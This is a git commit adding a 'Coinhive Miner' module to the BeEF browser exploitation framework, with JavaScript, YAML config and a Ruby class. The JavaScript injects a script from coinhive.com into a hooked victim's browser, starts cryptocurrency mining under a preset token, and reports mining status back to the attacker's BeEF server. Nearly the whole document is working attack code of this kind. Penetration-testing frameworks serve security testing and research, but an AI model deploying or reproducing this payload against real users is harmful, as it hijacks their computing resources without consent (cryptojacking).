Add Coinhive Miner module
This commit is contained in:
53
modules/misc/coinhive_miner/command.js
Normal file
53
modules/misc/coinhive_miner/command.js
Normal file
@@ -0,0 +1,53 @@
|
||||
//
|
||||
// Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
beef.execute(function() {
|
||||
|
||||
load_script = function(url) {
|
||||
var s = document.createElement('script');
|
||||
s.type = 'text/javascript';
|
||||
s.src = url;
|
||||
document.body.appendChild(s);
|
||||
}
|
||||
|
||||
beef.debug("[CoinHive] Loading library...");
|
||||
load_script('https://coinhive.com/lib/coinhive.min.js');
|
||||
setTimeout("mine('<%= @public_token %>')", 10000);
|
||||
|
||||
mine = function(token) {
|
||||
beef.debug("[CoinHive] Starting the miner...");
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result=Starting the miner');
|
||||
|
||||
var miner = new CoinHive.Anonymous(token);
|
||||
miner.start(); //CoinHive.FORCE_MULTI_TAB);
|
||||
|
||||
miner.on('authed', function() {
|
||||
beef.debug("[CoinHive] Authenticated successfully");
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result=Authenticated successfully', beef.are.status_success());
|
||||
})
|
||||
miner.on('error', function(params) {
|
||||
beef.debug("[CoinHive] The pool reported an error: " + params.error);
|
||||
if (params.error === 'invalid_site_key') {
|
||||
miner.stop();
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'fail=' + params.error, beef.are.status_error());
|
||||
}
|
||||
})
|
||||
miner.on('found', function() {
|
||||
beef.debug("[CoinHive] Hash found");
|
||||
})
|
||||
miner.on('accepted', function() {
|
||||
beef.debug("[CoinHive] Hash accepted by the pool");
|
||||
})
|
||||
|
||||
setInterval(function() {
|
||||
if (miner.isRunning()) {
|
||||
var hashesPerSecond = miner.getHashesPerSecond();
|
||||
var totalHashes = miner.getTotalHashes();
|
||||
var acceptedHashes = miner.getAcceptedHashes();
|
||||
beef.debug("[CoinHive] Total Hashes: " + totalHashes + " -- Accepted Hashes: " + acceptedHashes + " -- Hashes/Second: " + hashesPerSecond);
|
||||
}
|
||||
}, 1000)
|
||||
}
|
||||
});
|
||||
15
modules/misc/coinhive_miner/config.yaml
Normal file
15
modules/misc/coinhive_miner/config.yaml
Normal file
@@ -0,0 +1,15 @@
|
||||
#
|
||||
# Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
coinhive_miner:
|
||||
enable: true
|
||||
category: "Misc"
|
||||
name: "Coinhive Miner"
|
||||
description: "This module starts the Coinhive JavaScript Miner."
|
||||
authors: ["bcoles"]
|
||||
target:
|
||||
user_notify: ['ALL']
|
||||
17
modules/misc/coinhive_miner/module.rb
Normal file
17
modules/misc/coinhive_miner/module.rb
Normal file
@@ -0,0 +1,17 @@
|
||||
#
|
||||
# Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
class Coinhive_miner < BeEF::Core::Command
|
||||
def self.options
|
||||
[{ 'name' => 'public_token',
|
||||
'description' => 'Public Token',
|
||||
'ui_label' => 'Public Token',
|
||||
'value' => 'Ofh5MIvjuCBDqwJ9TCTio7TYko0ig5TV',
|
||||
'type' => 'text' }]
|
||||
end
|
||||
def post_execute
|
||||
save({'result' => @datastore['result']})
|
||||
end
|
||||
end
|
||||
Reference in New Issue
Block a user